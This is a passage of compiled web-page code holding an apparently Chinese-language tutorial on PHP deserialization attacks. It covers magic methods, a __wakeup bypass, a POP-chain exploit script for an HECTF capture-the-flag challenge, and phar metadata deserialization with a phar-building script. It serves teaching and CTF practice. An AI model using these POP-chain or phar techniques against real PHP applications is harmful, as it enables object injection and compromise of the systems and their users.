5217\u5316\u65f6\u539f\u578b\u5c31\u884c\u3002"}),"\n",(0,r.jsx)(e.li,{children:"protected\uff1a\u53cd\u5e8f\u5217\u5316\u65f6\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a%00*%00\u3002"}),"\n",(0,r.jsx)(e.li,{children:"private\uff1a\u53cd\u5e8f\u5217\u5316\u65f6\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a%00\u7c7b\u540d%00\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5e8f\u5217\u5316\u6211\u4eec\u77e5\u9053\u4e86\u662f\u4e2a\u4ec0\u4e48\u683c\u5f0f\uff0c\u90a3\u4e48\u5982\u4f55\u5229\u7528\u53cd\u5e8f\u5217\u5316\u6765\u89e6\u53d1\u6f0f\u6d1e\u8fdb\u884c\u5229\u7528\u5462\uff1f"}),"\n",(0,r.jsx)(e.h3,{id:"__wakeup",children:"__wakeup()"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u6211\u4eec\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u4f1a\u5148\u68c0\u67e5\u7c7b\u4e2d\u662f\u5426\u5b58\u5728",(0,r.jsx)(e.code,{children:"__wakeup()"}),"\u5982\u679c\u5b58\u5728\uff0c\u5219\u6267\u884c\u3002\u4f46\u662f\u5982\u679c\u5bf9\u8c61\u5c5e\u6027\u4e2a\u6570\u7684\u503c\u5927\u4e8e\u771f\u5b9e\u7684\u5c5e\u6027\u4e2a\u6570\u65f6\u5c31\u4f1a\u8df3\u8fc7",(0,r.jsx)(e.code,{children:"__wakeup()"}),"\u6267\u884c",(0,r.jsx)(e.code,{children:"__destruct()"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u5f71\u54cd\u7248\u672c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"PHP5 < 5.6.\nPHP7 < 7.0.\n\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'";\n\n echo highlight_file($this->name, true); \n } \n \n\n function __wakeup(){ \n echo "wakeup\u6267\u884c
";\n $this->name=\'1.php\'; \n } \n }\n\t$data = \'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}\';\n\tunserialize($data);\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648099.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"__sleep",children:"__sleep()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"__sleep()"}),"\u51fd\u6570\u521a\u597d\u4e0e",(0,r.jsx)(e.code,{children:"__waeup()"}),"\u76f8\u53cd\uff0c\u524d\u8005\u662f\u5728\u5e8f\u5217\u5316\u4e00\u4e2a\u5bf9\u8c61\u65f6\u88ab\u8c03\u7528\uff0c\u540e\u8005\u662f\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u88ab\u8c03\u7528\u3002\u90a3\u4e48\u8be5\u5982\u4f55\u5229\u7528\u5462\uff1f\u6211\u4eec\u770b\u770b\u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'name=$name;\n }\n\t\t\n\t\tfunction __sleep(){\n\t\t\techo "sleep()\u6267\u884c
";\n\t\t\techo highlight_file($this->name, true);\n\t\t}\n\t\t\n\t\tfunction __destruct(){\n\t\t\techo "over
";\n\t\t}\n\t\t\n function __wakeup(){ \n echo "wakeup\u6267\u884c
"; \n } \n }\n\t$a = new Ameng("2.php");\n\t$b = serialize($a);\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648100.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"__destruct",children:"__destruct()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u5176\u5b9e\u5728\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\u5df2\u7ecf\u663e\u793a\u4e86\uff0c\u5c31\u662f\u5728\u5bf9\u8c61\u88ab\u9500\u6bc1\u65f6\u8c03\u7528\uff0c\u5018\u82e5\u8fd9\u4e2a\u51fd\u6570\u4e2d\u6709\u547d\u4ee4\u6267\u884c\u4e4b\u7c7b\u7684\u529f\u80fd\uff0c\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u70b9\u6765\u8fdb\u884c\u6f0f\u6d1e\u7684\u5229\u7528\uff0c\u5f97\u5230\u81ea\u5df1\u60f3\u8981\u7684\u7ed3\u679c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"__construct",children:"__construct()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u5728",(0,r.jsx)(e.code,{children:"__sleep()"}),"\u4e5f\u662f\u4f53\u73b0\u4e86\u7684\uff0c\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u5728\u4e00\u4e2a\u5bf9\u8c61\u88ab\u521b\u5efa\u65f6\u4f1a\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\uff0c\u6bd4\u5982\u6211\u5728",(0,r.jsx)(e.code,{children:"__sleep()"}),"\u4e2d\u7528\u8fd9\u4e2a\u51fd\u6570\u6765\u5bf9\u53d8\u91cf\u8fdb\u884c\u8d4b\u503c\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"__call",children:"__call()"}),"\n",(0,r.jsxs)(e.p,{children:["\u6b64\u51fd\u6570\u7528\u6765\u76d1\u89c6\u4e00\u4e2a\u5bf9\u8c61\u4e2d\u7684\u5176\u4ed6\u65b9\u6cd5\u3002\u5f53\u4f60\u5c1d\u8bd5\u8c03\u7528\u4e00\u4e2a\u5bf9\u8c61\u4e2d\u4e0d\u5b58\u5728\u7684\u6216\u8005\u88ab\u6743\u9650\u63a7\u5236\u7684\u65b9\u6cd5\uff0c\u90a3\u4e48",(0,r.jsx)(e.code,{children:"__call"}),"\u5c31\u4f1a\u88ab\u81ea\u52a8\u8c03\u7528"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'"."call\u6267\u884c\u5931\u8d25";\n\t\t}\n\t\t\n\t\tpublic static function __callStatic($name,$args){\n\t\t\techo "
"."callStatic\u6267\u884c\u5931\u8d25";\n\t\t}\n }\n\t$a = new Ameng;\n\t$a->b();\n\tAmeng::b();\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648101.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"__callstatic",children:"__callStatic()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u65b9\u6cd5\u662f PHP5.3 \u589e\u52a0\u7684\u65b0\u65b9\u6cd5\u3002\u4e3b\u8981\u662f\u8c03\u7528\u4e0d\u53ef\u89c1\u7684\u9759\u6001\u65b9\u6cd5\u65f6\u4f1a\u81ea\u52a8\u8c03\u7528\u3002\u5177\u4f53\u4f7f\u7528\u5728\u4e0a\u9762\u4ee3\u7801\u793a\u4f8b\u548c\u7ed3\u679c\u53ef\u89c1\u3002\u90a3\u4e48\u8fd9\u4e24\u4e2a\u51fd\u6570\u6709\u4ec0\u4e48\u503c\u5f97\u6211\u4eec\u5173\u6ce8\u7684\u5462\uff1f\u60f3\u4e00\u60f3\uff0c\u5018\u82e5\u8fd9\u4e24\u4e2a\u51fd\u6570\u4e2d\u6709\u547d\u4ee4\u6267\u884c\u7684\u51fd\u6570\uff0c\u90a3\u4e48\u6211\u4eec\u8c03\u7528\u5bf9\u8c61\u4e2d\u4e0d\u5b58\u5728\u65b9\u6cd5\u65f6\u5c31\u53ef\u4ee5\u8c03\u7528\u8fd9\u4e24\u4e2a\u51fd\u6570\uff0c\u8fd9\u4e0d\u5c31\u8fbe\u5230\u6211\u4eec\u60f3\u8981\u7684\u76ee\u7684\u4e86\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"__get",children:"__get()"}),"\n",(0,r.jsx)(e.p,{children:"\u4e00\u822c\u6765\u8bf4\uff0c\u6211\u4eec\u603b\u662f\u628a\u7c7b\u7684\u5c5e\u6027\u5b9a\u4e49\u4e3aprivate\u3002\u4f46\u6709\u65f6\u5019\u6211\u4eec\u5bf9\u5c5e\u6027\u7684\u8bfb\u53d6\u548c\u8d4b\u503c\u662f\u975e\u5e38\u9891\u7e41\uff0c\u8fd9\u4e2a\u65f6\u5019PHP\u5c31\u63d0\u4f9b\u4e86\u4e24\u4e2a\u51fd\u6570\u6765\u83b7\u53d6\u548c\u8d4b\u503c\u7c7b\u4e2d\u7684\u5c5e\u6027\u3002"}),"\n",(0,r.jsx)(e.p,{children:"get\u65b9\u6cd5\u7528\u6765\u83b7\u53d6\u79c1\u6709\u6210\u5458\u5c5e\u6027\u7684\u503c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"//__get()\u65b9\u6cd5\u7528\u6765\u83b7\u53d6\u79c1\u6709\u5c5e\u6027\npublic function __get($name){\nreturn $this->$name;\n}\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-29",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"$name\uff1a\u8981\u83b7\u53d6\u6210\u5458\u5c5e\u6027\u7684\u540d\u79f0\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"__set",children:"__set()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u65b9\u6cd5\u7528\u6765\u7ed9\u79c1\u6709\u6210\u5458\u5c5e\u6027\u8d4b\u503c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"//__set()\u65b9\u6cd5\u7528\u6765\u8bbe\u7f6e\u79c1\u6709\u5c5e\u6027\npublic function __set($name,$value){\n$this->$name = $value;\n}\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-30",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"$name\uff1a\u8981\u8d4b\u503c\u7684\u5c5e\u6027\u540d\u3002"}),"\n",(0,r.jsx)(e.li,{children:"$value\uff1a\u7ed9\u5c5e\u6027\u8d4b\u503c\u7684\u503c\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"__isset",children:"__isset()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u51fd\u6570\u662f\u5f53\u6211\u4eec\u5bf9\u4e0d\u53ef\u8bbf\u95ee\u5c5e\u6027\u8c03\u7528",(0,r.jsx)(e.code,{children:"isset()"}),"\u6216\u8005",(0,r.jsx)(e.code,{children:"empty()"}),"\u65f6\u8c03\u7528\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u8fd9\u4e4b\u524d\u6211\u4eec\u8981\u5148\u4e86\u89e3\u4e00\u4e0b",(0,r.jsx)(e.code,{children:"isset()"}),"\u51fd\u6570\u7684\u4f7f\u7528\u3002",(0,r.jsx)(e.code,{children:"isset()"}),"\u51fd\u6570\u68c0\u6d4b\u67d0\u4e2a\u53d8\u91cf\u662f\u5426\u88ab\u8bbe\u7f6e\u4e86\u3002\u6240\u4ee5\u8fd9\u4e2a\u65f6\u5019\u95ee\u9898\u5c31\u6765\u4e86\uff0c\u5982\u679c\u6211\u4eec\u4f7f\u7528\u8fd9\u4e2a\u51fd\u6570\u53bb\u68c0\u6d4b\u5bf9\u8c61\u91cc\u9762\u7684\u6210\u5458\u662f\u5426\u8bbe\u5b9a\uff0c\u90a3\u4e48\u4f1a\u53d1\u751f\u4ec0\u4e48\u5462\uff1f"]}),"\n",(0,r.jsxs)(e.p,{children:["\u82e5\u5bf9\u8c61\u7684\u6210\u5458\u662f\u516c\u6709\u6210\u5458\uff0c\u90a3\u6ca1\u4ec0\u4e48\u95ee\u9898\u3002\u5018\u82e5\u5bf9\u8c61\u7684\u6210\u5458\u662f\u79c1\u6709\u6210\u5458\uff0c\u90a3\u8fd9\u4e2a\u51fd\u6570\u5c31\u4e0d\u884c\u4e86\uff0c\u4eba\u5bb6\u6839\u672c\u5c31\u4e0d\u5141\u8bb8\u4f60\u8bbf\u95ee\uff0c\u4f60\u548b\u80fd\u68c0\u6d4b\u4eba\u5bb6\u662f\u5426\u8bbe\u5b9a\u4e86\u5462\uff1f\u90a3\u6211\u4eec\u8be5\u600e\u4e48\u529e\uff1f\u8fd9\u4e2a\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u5728\u7c7b\u91cc\u9762\u52a0\u4e0a",(0,r.jsx)(e.code,{children:"__isset()"}),"\u65b9\u6cd5\uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u4f7f\u7528",(0,r.jsx)(e.code,{children:"isset()"}),"\u5728\u5bf9\u8c61\u5916\u9762\u8bbf\u95ee\u5bf9\u8c61\u91cc\u9762\u7684\u79c1\u6709\u6210\u5458\u4e86\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'name = $name;\n\t\t}\n\t\t\n\t\tpublic function __isset($content){\n\t\t\techo "\u5f53\u5728\u7c7b\u5916\u9762\u8c03\u7528isset\u65b9\u6cd5\u65f6\uff0c\u90a3\u4e48\u6211\u5c31\u4f1a\u6267\u884c\uff01"."
";\n\t\t\techo isset($this->$content);\n\t\t}\n }\n\t$ameng = new Ameng("Ameng");\n\techo isset($ameng->name);\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648102.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"__unset",children:"__unset()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u65b9\u6cd5\u57fa\u672c\u548c",(0,r.jsx)(e.code,{children:"__insset"}),"\u60c5\u51b5\u4e00\u81f4\uff0c\u90fd\u662f\u5728\u7c7b\u5916\u8bbf\u95ee\u7c7b\u5185\u79c1\u6709\u6210\u5458\u65f6\u8981\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\uff0c\u57fa\u672c\u8c03\u7528\u7684\u65b9\u6cd5\u548c\u4e0a\u9762\u4e00\u81f4\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'name = $name;\n\t\t}\n\t\t\n\t\tpublic function __unset($content){\n\t\t\techo "\u5f53\u5728\u7c7b\u5916\u9762\u8c03\u7528unset\u65b9\u6cd5\u65f6\uff0c\u90a3\u4e48\u6211\u5c31\u4f1a\u6267\u884c\uff01"."
";\n\t\t\techo isset($this->$content);\n\t\t}\n }\n\t$ameng = new Ameng("Ameng");\n\tunset($ameng->name);\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648103.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"tostring",children:"toString()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u662f\u5c06\u4e00\u4e2a\u5bf9\u8c61\u5f53\u4f5c\u4e00\u4e2a\u5b57\u7b26\u4e32\u6765\u4f7f\u7528\u65f6\uff0c\u5c31\u4f1a\u81ea\u52a8\u8c03\u7528\u8be5\u65b9\u6cd5\uff0c\u4e14\u5728\u8be5\u65b9\u6cd5\u4e2d\uff0c\u53ef\u4ee5\u8fd4\u56de\u4e00\u5b9a\u7684\u5b57\u7b26\u4e32\uff0c\u6765\u8868\u793a\u8be5\u5bf9\u8c61\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32\u4e4b\u540e\u7684\u7ed3\u679c\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u8bbf\u95ee\u7c7b\u7684\u5c5e\u6027\u7684\u65f6\u5019\u90fd\u662f",(0,r.jsx)(e.code,{children:"$\u5b9e\u4f8b\u5316\u540d\u79f0->\u5c5e\u6027\u540d"}),"\u8fd9\u6837\u7684\u683c\u5f0f\u53bb\u8bbf\u95ee\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u80fd\u76f4\u63a5echo\u53bb\u8f93\u51fa\u5bf9\u8c61\uff0c\u53ef\u662f\u5f53\u6211\u4eec\u4f7f\u7528",(0,r.jsx)(e.code,{children:"__tostring()"}),"\u5c31\u53ef\u4ee5\u76f4\u63a5\u7528echo\u6765\u8f93\u51fa\u4e86\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"name = $name;\n $this->age = $age;\n }\n public function __toString(){\n return $this->name . $this->age . '\u5c81\u4e86';\n }\n }\n\t$ameng = new Ameng('Ameng',3);\n\techo $ameng;\n?>\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-text",children:"Ameng3\u5c81\u4e86\n"})}),"\n",(0,r.jsx)(e.h3,{id:"__invoke",children:"__invoke()"}),"\n",(0,r.jsxs)(e.p,{children:["\u5f53\u5c1d\u8bd5\u4ee5\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e00\u4e2a\u5bf9\u8c61\u65f6\uff0c",(0,r.jsx)(e.code,{children:"__invoke()"}),"\u65b9\u6cd5\u4f1a\u88ab\u81ea\u52a8\u8c03\u7528\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u7248\u672c\u8981\u6c42\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"PHP > 5.3.\n\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"name = $name;\n $this->age = $age;\n }\n public function __invoke(){\n echo '\u4f60\u7528\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e86\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u6240\u4ee5\u6211\u8d77\u4f5c\u7528\u4e86';\n }\n }\n\t$ameng = new Ameng('Ameng',3);\n\t$ameng();\n?>\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u4f60\u7528\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e86\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u6240\u4ee5\u6211\u8d77\u4f5c\u7528\n"})}),"\n",(0,r.jsx)(e.h3,{id:"pop\u94fe\u7684\u6784\u9020",children:"pop\u94fe\u7684\u6784\u9020"}),"\n",(0,r.jsx)(e.h3,{id:"\u601d\u8def",children:"\u601d\u8def"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5bfb\u627e\u4f4d\u70b9\uff08unserialize\u51fd\u6570\u2014>\u53d8\u91cf\u53ef\u63a7\uff09"}),"\n",(0,r.jsx)(e.li,{children:"\u6b63\u5411\u6784\u9020\uff08\u5404\u79cd\u65b9\u6cd5\uff09"}),"\n",(0,r.jsx)(e.li,{children:"\u53cd\u5411\u63a8\u7406\uff08\u4ece\u8981\u5b8c\u6210\u7684\u76ee\u7684\u51fa\u53d1\uff0c\u53cd\u5411\u63a8\u7406\uff0c\u6700\u540e\u627e\u5230\u6700\u5148\u88ab\u8c03\u7528\u7684\u4f4d\u7f6e\u5904\uff09"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50(HECTF)\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'token_flag = $this->token = md5(rand(1,10000));\n $this->token =&$this->token_flag;\n }\n public function __invoke(){\n $this->token_flag = md5(rand(1,10000));\n \n if($this->token === $this->token_flag)\n {\n echo "flag{**********}";\n }\n }\n}\nclass Show\n{\n public $source;\n public $str;\n public function __construct()\n {\n echo $this->source."
";\n }\n\n public function __toString()\n {\n $this->str[\'str\']->source;\n }\n public function __wakeup()\n {\n if(preg_match("/http|https|file:|gopher|dict|\\.\\./i", $this->source)) {\n echo "hacker~";\n $this->source = "index.php";\n }\n }\n}\n\nclass Test\n{\n public $params;\n public function __construct()\n {\n $this->params = array();\n }\n\n public function __get($key)\n {\n $func = $this->params;\n return $func();\n }\n}\nif(isset($_GET[\'chal\']))\n{\n $chal = unserialize($_GET[\'chal\']);\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u8981\u62ff\u5230flag\uff0c\u5728",(0,r.jsx)(e.code,{children:"__invoke()"}),"\u51fd\u6570\uff0c\u5f53\u5bf9\u8c61\u88ab\u5f53\u4f5c\u51fd\u6570\u8c03\u7528\u65f6\uff0c\u90a3\u4e48\u5c31\u4f1a\u81ea\u52a8\u6267\u884c\u8be5\u51fd\u6570\u3002\u6240\u4ee5\u6211\u4eec\u8981\u505a\u7684\u5c31\u662f\u7528\u51fd\u6570\u6765\u8c03\u7528\u5bf9\u8c61\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u4eec\u9996\u5148\u627e\u5230\u8d77\u70b9\uff0c\u5c31\u662funserialize\u51fd\u6570\u7684\u53d8\u91cf\uff0c\u56e0\u4e3a\u8fd9\u4e2a\u53d8\u91cf\u662f\u6211\u4eec\u53ef\u63a7\u7684\uff0c\u4f46\u662f\u80af\u5b9a\u662f\u8fc7\u6ee4\u4e86\u4e00\u4e9b\u5e38\u89c1\u7684\u534f\u8bae\uff0c\u90a3\u4e9b\u534f\u8bae\u6211\u5728\u4e0a\u9762\u4e5f\u7b80\u5355\u4ecb\u7ecd\u8fc7\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7\u51fd\u6570\u7684\u8fc7\u7a0b\u641c\u7d22\uff0c\u6211\u4eec\u80fd\u591f\u770b\u5230preg_match\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4f1a\u88ab\u5f53\u4f5c\u5b57\u7b26\u4e32\u5904\u7406\uff0c\u5728\u7c7bTest\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u7ed9$func\u8d4b\u503c\u7ed9Read\u5bf9\u8c61\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u5982\u4e0bpop\u94fe"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"token = &$read->token_flag;\n $test->params = $read;\n $show->str['str'] = $test;\n $show->source = $show;\n echo serialize($show);\n?>\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u7ed9\u4e2a\u56fe\u603b\u7ed3\u4e00\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648104.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",children:"phar\u4e0e\u53cd\u5e8f\u5217\u5316"}),"\n",(0,r.jsx)(e.h4,{id:"\u7b80\u4ecb-1",children:"\u7b80\u4ecb"}),"\n",(0,r.jsx)(e.p,{children:'PHAR\uff08"PHP archive"\uff09\u662fPHP\u91cc\u7c7b\u4f3cJAR\u7684\u4e00\u79cd\u6253\u5305\u6587\u4ef6\uff0c\u5728PHP > 5.3\u7248\u672c\u4e2d\u9ed8\u8ba4\u5f00\u542f\u3002\u5176\u5b9e\u5c31\u662f\u7528\u6765\u6253\u5305\u7a0b\u5e8f\u7684\u3002'}),"\n",(0,r.jsx)(e.h4,{id:"\u6587\u4ef6\u7ed3\u6784",children:"\u6587\u4ef6\u7ed3\u6784"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsxs)(e.p,{children:["a stub\uff1a",(0,r.jsx)(e.code,{children:"xxx"}),"\u524d\u9762\u5185\u5bb9\u4e0d\u9650\uff0c\u540e\u9762\u5fc5\u987b\u4ee5",(0,r.jsx)(e.code,{children:"__HALT_COMPILER();?>"}),"\u7ed3\u5c3e\uff0c\u5426\u5219phar\u6269\u5c55\u65e0\u6cd5\u5c06\u8be5\u6587\u4ef6\u8bc6\u522b\u4e3aphar\u6587\u4ef6\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsx)(e.p,{children:"\u5b98\u65b9\u624b\u518c"}),"\n",(0,r.jsx)(e.p,{children:"phar\u6587\u4ef6\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u538b\u7f29\u6587\u4ef6\uff0c\u5176\u4e2d\u6bcf\u4e2a\u88ab\u538b\u7f29\u6587\u4ef6\u7684\u6743\u9650\u3001\u5c5e\u6027\u7b49\u4fe1\u606f\u90fd\u653e\u5728\u8fd9\u90e8\u5206\u3002\u8fd9\u90e8\u5206\u8fd8\u4f1a\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\uff0c\u8fd9\u662f\u4e0a\u8ff0\u653b\u51fb\u624b\u6cd5\u6700\u6838\u5fc3\u7684\u5730\u65b9\u3002"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648105.png",alt:"img"})}),"\n",(0,r.jsx)(e.h4,{id:"\u5b9e\u9a8c",children:"\u5b9e\u9a8c"}),"\n",(0,r.jsxs)(e.p,{children:["\u524d\u63d0\uff1a\u5c06",(0,r.jsx)(e.code,{children:"php.ini"}),"\u4e2d\u7684",(0,r.jsx)(e.code,{children:"phar.readonly"}),"\u9009\u9879\u8bbe\u7f6e\u4e3a",(0,r.jsx)(e.code,{children:"off"}),"\uff0c\u4e0d\u7136\u65e0\u6cd5\u751f\u6210phar\u6587\u4ef6\u3002"]}),"\n",(0,r.jsx)(e.h5,{id:"pharphp",children:"phar.php\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'startBuffering();\n $phar->setStub(""); //\u8bbe\u7f6estub\n $o = new TestObject();\n $o -> data=\'Hello I am Ameng\';\n $phar->setMetadata($o); //\u5c06\u81ea\u5b9a\u4e49\u7684meta-data\u5b58\u5165manifest\n $phar->addFromString("test.txt", "test"); //\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6\n //\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97\n $phar->stopBuffering();\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u6211\u4eec\u8bbf\u95ee\u4e4b\u540e\uff0c\u4f1a\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u751f\u6210\u4e00\u4e2aphar.phar\u6587\u4ef6\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648106.png",alt:"img"})}),"\n",(0,r.jsxs)(e.p,{children:["\u7136\u540e\u67e5\u770b\u6587\u4ef6\u7684\u5341\u516d\u8fdb\u5236\u5f62\u5f0f\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u770b\u5230meta-data\u662f\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u3002\u65e2\u7136\u5b58\u5728\u5e8f\u5217\u5316\u7684\u6570\u636e\uff0c\u90a3\u80af\u5b9a\u6709\u5e8f\u5217\u5316\u7684\u9006\u5411\u64cd\u4f5c\u53cd\u5e8f\u5217\u5316\u3002\u90a3\u4e48\u8fd9\u91cc\u5728PHP\u4e2d\u5b58\u5728\u5f88\u591a\u901a\u8fc7",(0,r.jsx)(e.code,{children:"phar://"}),"\u4f2a\u534f\u8bae\u89e3\u6790phar\u6587\u4ef6\u65f6\uff0c\u4f1a\u5c06meta-data\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u3002\u53ef\u7528\u51fd\u6570\u5982\u4e0b\u56fe"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648107.png",alt:"img"})}),"\n",(0,r.jsx)(e.h5,{id:"ameng